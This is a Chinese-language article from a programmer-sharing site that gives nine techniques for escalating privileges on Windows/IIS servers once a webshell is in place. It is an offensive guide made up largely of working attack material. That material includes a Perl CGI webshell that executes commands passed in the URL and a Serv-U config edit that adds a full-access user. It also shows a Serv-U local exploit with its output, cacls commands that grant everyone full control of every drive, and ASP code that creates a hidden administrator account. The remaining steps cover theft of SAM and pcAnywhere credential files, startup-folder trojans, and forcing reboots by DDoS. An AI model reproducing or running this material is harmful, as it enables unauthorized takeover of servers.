欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

提升(web)权限终极9技巧

程序员文章站 2022-03-18 15:18:03
当我们取得一个webshell时候,下一部要做的就是提升权限  个人总结如下:  1: c:\documents and ...
当我们取得一个webshell时候,下一部要做的就是提升权限 
个人总结如下: 
1: c:\documents and settings\all users\application data\symantec\pcanywhere 看能否跳转到这个目录,如果行那就最好了,直接下它的cif文件,得到pcanywhere密码,登陆 
2.c:\winnt\system32\config进这里下它的sam,破解用户的密码 
用到破解sam密码的软件有lc,saminside 
3.c:\documents and settings\all users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息 
可以看见好多快捷方式,我们一般选择serv-u的,然后本地查看属性,知道路径后,看能否跳转 
进去后,如果有权限修改servudaemon.ini,加个用户上去,密码为空 
[user=wekwen|1] 
password= 
homedir=c:timeout=600 
maintenance=system 
access1=c:\|rwamelcdp 
access1=d:\|rwamelcdp 
access1=f:\|rwamelcdp 
skeyvalues= 
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限 

4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行 
5.看能否跳转到如下目录 
c:\php, 用phpspy 
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell 
#!/usr/bin/perl 
binmode(stdout); 
syswrite(stdout, "content-type: text/html\r\n\r\n", 27); 
$_ = $env{query_string}; 
s/%20/ /ig; 
s/%2f/\//ig; 
$execthis = $_; 
syswrite(stdout, "<html><pre>\r\n", 13); 
open(stderr, ">&stdout") || die "can't redirect stderr"; 
system($execthis); 
syswrite(stdout, "\r\n</pre></html>\r\n", 17); 
close(stderr); 
close(stdout); 
exit; 
保存为cgi执行, 
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir 
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录 
http://anyhost//cmd.pl?c\perl\bin\su.exe 
返回: 
serv-u >3.x local exploit by xiaolu 
usage: serv-u.exe "command" 
example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 
现在是 iusr 权限,提交: 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /e /t /g everyone:f" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /e /t /g everyone:f" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /e /t /g everyone:f" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /e /t /g everyone:f" 
如果返回下面的信息,就表示成功了 
serv-u >3.x local exploit by xiaolu 
<220 serv-u ftp server v5.2 for winsock ready... 
>user localadministrator 
<331 user name okay, need password. 
****************************************************** 
>pass #l@$ak#.lk;0@p 
<230 user logged in, proceed. 
****************************************************** 
>site maintenance 
****************************************************** 
[+] creating new domain... 
<200-domainid=2 
<220 domain settings saved 
****************************************************** 
[+] domain xl:2 created 
[+] creating evil user 
<200-user=xl 
200 user settings saved 
****************************************************** 
[+] now exploiting... 
>user xl 
<331 user name okay, need password. 
****************************************************** 
>pass 111111 
<230 user logged in, proceed. 
****************************************************** 
[+] now executing: cacls.exe c: /e /t /g everyone:f 
<220 domain deleted 
这样所有分区为everyone完全控制 
现在我们把自己的用户提升为管理员: 
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators iusr_anyhost /add" 

6.可以成功运行"cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限 
用这个cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps 
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 
再将asp.dll加入特权一族 
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样) 
我们现在加进去cscript adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll" 
可以用cscript adsutil.vbs get /w3svc/inprocessisapiapps 来查看是不是加进去了 
7.还可以用这段代码试提升,好象效果不明显 
<<%response.expires=0">%@codepage=936%><%response.expires=0 
on error resume next 
session.timeout=50 
server.scripttimeout=3000 
set lp=server.createobject("wscript.network") 
oz="winnt://"&lp.computername 
set ob=getobject(oz) 
set oe=getobject(oz&"/administrators,group") 
set od=ob.create("user","wekwen$") 
od.setpassword "wekwen" <-----密码 
od.setinfo 
set of=getobject(oz&"/wekwen$,user") 
oe.add(of.adspath) 
response.write "wekwen$ 超级帐号建立成功!"%> 

用这段代码检查是否提升成功 
<%@codepage=936%> 
<%response.expires=0 
on error resume next '查找administrators组帐号 
set tn=server.createobject("wscript.network") 
set objgroup=getobject("winnt://"&tn.computername&"/administrators,group") 
for each admin in objgroup.members 
response.write admin.name&"<br>" 
next 
if err then 
response.write "不行啊:wscript.network" 
end if 
%> 
8.c:\program files\java web start这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。 
9.最后了,如果主机设置很变态,可以试下在c:\documents and settings\all users\「开始」菜单\程序\启动"写入bat,vbs等木马。 
等到主机重启或者你ddos逼它重启,来达到权限提升的目的。